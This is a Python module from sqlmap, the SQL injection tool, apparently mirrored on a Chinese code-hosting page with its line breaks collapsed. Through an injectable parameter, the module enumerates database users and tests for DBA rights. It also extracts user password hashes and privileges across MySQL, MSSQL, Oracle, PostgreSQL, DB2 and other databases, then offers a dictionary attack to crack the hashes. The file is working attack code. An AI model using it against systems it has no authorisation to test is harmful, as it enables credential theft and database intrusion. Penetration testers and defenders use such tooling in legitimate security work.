同步操作将从 yeqingchen1/sqlmap 强制同步,此操作会覆盖自 Fork 仓库以来所做的任何修改,且无法恢复!!!
确定后同步将在后台操作,完成时将刷新页面,请耐心等待。
#!/usr/bin/env python"""Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""import refrom lib.core.agent import agentfrom lib.core.common import arrayizeValuefrom lib.core.common import Backendfrom lib.core.common import filterPairValuesfrom lib.core.common import getLimitRangefrom lib.core.common import isAdminFromPrivilegesfrom lib.core.common import isInferenceAvailablefrom lib.core.common import isNoneValuefrom lib.core.common import isNullValuefrom lib.core.common import isNumPosStrValuefrom lib.core.common import isTechniqueAvailablefrom lib.core.common import parsePasswordHashfrom lib.core.common import readInputfrom lib.core.common import unArrayizeValuefrom lib.core.compat import xrangefrom lib.core.convert import encodeHexfrom lib.core.convert import getUnicodefrom lib.core.data import conffrom lib.core.data import kbfrom lib.core.data import loggerfrom lib.core.data import queriesfrom lib.core.dicts import DB2_PRIVSfrom lib.core.dicts import FIREBIRD_PRIVSfrom lib.core.dicts import INFORMIX_PRIVSfrom lib.core.dicts import MYSQL_PRIVSfrom lib.core.dicts import PGSQL_PRIVSfrom lib.core.enums import CHARSET_TYPEfrom lib.core.enums import DBMSfrom lib.core.enums import EXPECTEDfrom lib.core.enums import PAYLOADfrom lib.core.exception import SqlmapNoneDataExceptionfrom lib.core.exception import SqlmapUserQuitExceptionfrom lib.core.threads import getCurrentThreadDatafrom lib.request import injectfrom lib.utils.hash import attackCachedUsersPasswordsfrom lib.utils.hash import storeHashesToFilefrom lib.utils.pivotdumptable import pivotDumpTablefrom thirdparty.six.moves import zip as _zipclass Users(object):"""This class defines users' enumeration functionalities for plugins."""def __init__(self):kb.data.currentUser = ""kb.data.isDba = Nonekb.data.cachedUsers = []kb.data.cachedUsersPasswords = {}kb.data.cachedUsersPrivileges = {}kb.data.cachedUsersRoles = {}def getCurrentUser(self):infoMsg = "fetching current user"logger.info(infoMsg)query = queries[Backend.getIdentifiedDbms()].current_user.queryif not kb.data.currentUser:kb.data.currentUser = unArrayizeValue(inject.getValue(query))return kb.data.currentUserdef isDba(self, user=None):infoMsg = "testing if current user is DBA"logger.info(infoMsg)if Backend.isDbms(DBMS.MYSQL):self.getCurrentUser()query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None)elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % userelse:query = queries[Backend.getIdentifiedDbms()].is_dba.queryquery = agent.forgeCaseStatement(query)kb.data.isDba = inject.checkBooleanExpression(query) or Falsereturn kb.data.isDbadef getUsers(self):infoMsg = "fetching database users"logger.info(infoMsg)rootQuery = queries[Backend.getIdentifiedDbms()].userscondition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:if condition:query = rootQuery.inband.query2else:query = rootQuery.inband.queryvalues = inject.getValue(query, blind=False, time=False)if not isNoneValue(values):kb.data.cachedUsers = []for value in arrayizeValue(values):value = unArrayizeValue(value)if not isNoneValue(value):kb.data.cachedUsers.append(value)if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:infoMsg = "fetching number of database users"logger.info(infoMsg)if condition:query = rootQuery.blind.count2else:query = rootQuery.blind.countcount = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)if count == 0:return kb.data.cachedUserselif not isNumPosStrValue(count):errMsg = "unable to retrieve the number of database users"raise SqlmapNoneDataException(errMsg)plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)indexRange = getLimitRange(count, plusOne=plusOne)for index in indexRange:if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")elif condition:query = rootQuery.blind.query2 % indexelse:query = rootQuery.blind.query % indexuser = unArrayizeValue(inject.getValue(query, union=False, error=False))if user:kb.data.cachedUsers.append(user)if not kb.data.cachedUsers:errMsg = "unable to retrieve the database users"logger.error(errMsg)return kb.data.cachedUsersdef getPasswordHashes(self):infoMsg = "fetching database users password hashes"rootQuery = queries[Backend.getIdentifiedDbms()].passwordsif conf.user == "CU":infoMsg += " for current user"conf.user = self.getCurrentUser()logger.info(infoMsg)if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):conf.user = conf.user.upper()if conf.user:users = conf.user.split(',')if Backend.isDbms(DBMS.MYSQL):for user in users:parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)if parsedUser:users[users.index(user)] = parsedUser.groups()[0]else:users = []users = [_ for _ in users if _]if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):query = rootQuery.inband.query2else:query = rootQuery.inband.querycondition = rootQuery.inband.conditionif conf.user:query += " WHERE "query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))if Backend.isDbms(DBMS.SYBASE):getCurrentThreadData().disableStdOut = TrueretVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)if retVal:for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):if user not in kb.data.cachedUsersPasswords:kb.data.cachedUsersPasswords[user] = [password]else:kb.data.cachedUsersPasswords[user].append(password)getCurrentThreadData().disableStdOut = Falseelse:values = inject.getValue(query, blind=False, time=False)if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)):values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)for user, password in filterPairValues(values):if not user or user == " ":continuepassword = parsePasswordHash(password)if user not in kb.data.cachedUsersPasswords:kb.data.cachedUsersPasswords[user] = [password]else:kb.data.cachedUsersPasswords[user].append(password)if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:fallback = Falseif not len(users):users = self.getUsers()if Backend.isDbms(DBMS.MYSQL):for user in users:parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)if parsedUser:users[users.index(user)] = parsedUser.groups()[0]if Backend.isDbms(DBMS.SYBASE):getCurrentThreadData().disableStdOut = Truequery = rootQuery.inband.queryretVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)if retVal:for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):password = "0x%s" % encodeHex(password, binary=False).upper()if user not in kb.data.cachedUsersPasswords:kb.data.cachedUsersPasswords[user] = [password]else:kb.data.cachedUsersPasswords[user].append(password)getCurrentThreadData().disableStdOut = Falseelse:retrievedUsers = set()for user in users:user = unArrayizeValue(user)if user in retrievedUsers:continueif Backend.isDbms(DBMS.INFORMIX):count = 1else:infoMsg = "fetching number of password hashes "infoMsg += "for user '%s'" % userlogger.info(infoMsg)if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):query = rootQuery.blind.count2 % userelse:query = rootQuery.blind.count % usercount = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)if not isNumPosStrValue(count):if Backend.isDbms(DBMS.MSSQL):fallback = Truecount = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)elif Backend.isDbms(DBMS.MYSQL):fallback = Truecount = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)if not isNumPosStrValue(count):warnMsg = "unable to retrieve the number of password "warnMsg += "hashes for user '%s'" % userlogger.warn(warnMsg)continueinfoMsg = "fetching password hashes for user '%s'" % userlogger.info(infoMsg)passwords = []plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)indexRange = getLimitRange(count, plusOne=plusOne)for index in indexRange:if Backend.isDbms(DBMS.MSSQL):if Backend.isVersionWithin(("2005", "2008")):query = rootQuery.blind.query2 % (user, index, user)else:query = rootQuery.blind.query % (user, index, user)if fallback:query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")elif Backend.isDbms(DBMS.INFORMIX):query = rootQuery.blind.query % (user,)elif Backend.isDbms(DBMS.HSQLDB):query = rootQuery.blind.query % (index, user)else:query = rootQuery.blind.query % (user, index)if Backend.isDbms(DBMS.MYSQL):if fallback:query = query.replace("authentication_string", "password")password = unArrayizeValue(inject.getValue(query, union=False, error=False))password = parsePasswordHash(password)passwords.append(password)if passwords:kb.data.cachedUsersPasswords[user] = passwordselse:warnMsg = "unable to retrieve the password "warnMsg += "hashes for user '%s'" % userlogger.warn(warnMsg)retrievedUsers.add(user)if not kb.data.cachedUsersPasswords:errMsg = "unable to retrieve the password hashes for the "errMsg += "database users (probably because the DBMS "errMsg += "current user has no read privileges over the relevant "errMsg += "system database table(s))"logger.error(errMsg)else:for user in kb.data.cachedUsersPasswords:kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))storeHashesToFile(kb.data.cachedUsersPasswords)message = "do you want to perform a dictionary-based attack "message += "against retrieved password hashes? [Y/n/q]"choice = readInput(message, default='Y').upper()if choice == 'N':passelif choice == 'Q':raise SqlmapUserQuitExceptionelse:attackCachedUsersPasswords()return kb.data.cachedUsersPasswordsdef getPrivileges(self, query2=False):infoMsg = "fetching database users privileges"rootQuery = queries[Backend.getIdentifiedDbms()].privilegesif conf.user == "CU":infoMsg += " for current user"conf.user = self.getCurrentUser()logger.info(infoMsg)if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):conf.user = conf.user.upper()if conf.user:users = conf.user.split(',')if Backend.isDbms(DBMS.MYSQL):for user in users:parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)if parsedUser:users[users.index(user)] = parsedUser.groups()[0]else:users = []users = [_ for _ in users if _]# Set containing the list of DBMS administratorsareAdmins = set()if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:query = rootQuery.inband.query2condition = rootQuery.inband.condition2elif Backend.isDbms(DBMS.ORACLE) and query2:query = rootQuery.inband.query2condition = rootQuery.inband.condition2else:query = rootQuery.inband.querycondition = rootQuery.inband.conditionif conf.user:query += " WHERE "if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))else:query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))values = inject.getValue(query, blind=False, time=False)if not values and Backend.isDbms(DBMS.ORACLE) and not query2:infoMsg = "trying with table USER_SYS_PRIVS"logger.info(infoMsg)return self.getPrivileges(query2=True)if not isNoneValue(values):for value in values:user = Noneprivileges = set()for count in xrange(0, len(value or [])):# The first column is always the usernameif count == 0:user = value[count]# The other columns are the privilegeselse:privilege = value[count]if privilege is None:continue# In PostgreSQL we get 1 if the privilege is# True, 0 otherwiseif Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():if int(privilege) == 1:privileges.add(PGSQL_PRIVS[count])# In MySQL >= 5.0 and Oracle we get the list# of privileges as stringelif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):privileges.add(privilege)# In MySQL < 5.0 we get Y if the privilege is# True, N otherwiseelif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:if privilege.upper() == "Y":privileges.add(MYSQL_PRIVS[count])# In Firebird we get one letter for each privilegeelif Backend.isDbms(DBMS.FIREBIRD):if privilege.strip() in FIREBIRD_PRIVS:privileges.add(FIREBIRD_PRIVS[privilege.strip()])# In DB2 we get Y or G if the privilege is# True, N otherwiseelif Backend.isDbms(DBMS.DB2):privs = privilege.split(',')privilege = privs[0]if len(privs) > 1:privs = privs[1]privs = list(privs.strip())i = 1for priv in privs:if priv.upper() in ("Y", "G"):for position, db2Priv in DB2_PRIVS.items():if position == i:privilege += ", " + db2Privi += 1privileges.add(privilege)if user in kb.data.cachedUsersPrivileges:kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))else:kb.data.cachedUsersPrivileges[user] = list(privileges)if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:conditionChar = "LIKE"else:conditionChar = "="if not len(users):users = self.getUsers()if Backend.isDbms(DBMS.MYSQL):for user in users:parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)if parsedUser:users[users.index(user)] = parsedUser.groups()[0]retrievedUsers = set()for user in users:outuser = userif user in retrievedUsers:continueif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:user = "%%%s%%" % userif Backend.isDbms(DBMS.INFORMIX):count = 1else:infoMsg = "fetching number of privileges "infoMsg += "for user '%s'" % outuserlogger.info(infoMsg)if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:query = rootQuery.blind.count2 % userelif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:query = rootQuery.blind.count % (conditionChar, user)elif Backend.isDbms(DBMS.ORACLE) and query2:query = rootQuery.blind.count2 % userelse:query = rootQuery.blind.count % usercount = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)if not isNumPosStrValue(count):if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:infoMsg = "trying with table USER_SYS_PRIVS"logger.info(infoMsg)return self.getPrivileges(query2=True)warnMsg = "unable to retrieve the number of "warnMsg += "privileges for user '%s'" % outuserlogger.warn(warnMsg)continueinfoMsg = "fetching privileges for user '%s'" % outuserlogger.info(infoMsg)privileges = set()plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)indexRange = getLimitRange(count, plusOne=plusOne)for index in indexRange:if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:query = rootQuery.blind.query2 % (user, index)elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:query = rootQuery.blind.query % (conditionChar, user, index)elif Backend.isDbms(DBMS.ORACLE) and query2:query = rootQuery.blind.query2 % (user, index)elif Backend.isDbms(DBMS.FIREBIRD):query = rootQuery.blind.query % (index, user)elif Backend.isDbms(DBMS.INFORMIX):query = rootQuery.blind.query % (user,)else:query = rootQuery.blind.query % (user, index)privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))if privilege is None:continue# In PostgreSQL we get 1 if the privilege is True,# 0 otherwiseif Backend.isDbms(DBMS.PGSQL) and ", " in privilege:privilege = privilege.replace(", ", ',')privs = privilege.split(',')i = 1for priv in privs:if priv.isdigit() and int(priv) == 1:for position, pgsqlPriv in PGSQL_PRIVS.items():if position == i:privileges.add(pgsqlPriv)i += 1# In MySQL >= 5.0 and Oracle we get the list# of privileges as stringelif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):privileges.add(privilege)# In MySQL < 5.0 we get Y if the privilege is# True, N otherwiseelif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:privilege = privilege.replace(", ", ',')privs = privilege.split(',')i = 1for priv in privs:if priv.upper() == 'Y':for position, mysqlPriv in MYSQL_PRIVS.items():if position == i:privileges.add(mysqlPriv)i += 1# In Firebird we get one letter for each privilegeelif Backend.isDbms(DBMS.FIREBIRD):privileges.add(FIREBIRD_PRIVS[privilege.strip()])# In Informix we get one letter for the highest privilegeelif Backend.isDbms(DBMS.INFORMIX):privileges.add(INFORMIX_PRIVS[privilege.strip()])# In DB2 we get Y or G if the privilege is# True, N otherwiseelif Backend.isDbms(DBMS.DB2):privs = privilege.split(',')privilege = privs[0]privs = privs[1]privs = list(privs.strip())i = 1for priv in privs:if priv.upper() in ('Y', 'G'):for position, db2Priv in DB2_PRIVS.items():if position == i:privilege += ", " + db2Privi += 1privileges.add(privilege)# In MySQL < 5.0 we break the cycle after the first# time we get the user's privileges otherwise we# duplicate the same queryif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:breakif privileges:kb.data.cachedUsersPrivileges[user] = list(privileges)else:warnMsg = "unable to retrieve the privileges "warnMsg += "for user '%s'" % outuserlogger.warn(warnMsg)retrievedUsers.add(user)if not kb.data.cachedUsersPrivileges:errMsg = "unable to retrieve the privileges "errMsg += "for the database users"raise SqlmapNoneDataException(errMsg)for user, privileges in kb.data.cachedUsersPrivileges.items():if isAdminFromPrivileges(privileges):areAdmins.add(user)return (kb.data.cachedUsersPrivileges, areAdmins)def getRoles(self, query2=False):warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()warnMsg += "exist. sqlmap will enumerate privileges instead"logger.warn(warnMsg)return self.getPrivileges(query2)
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。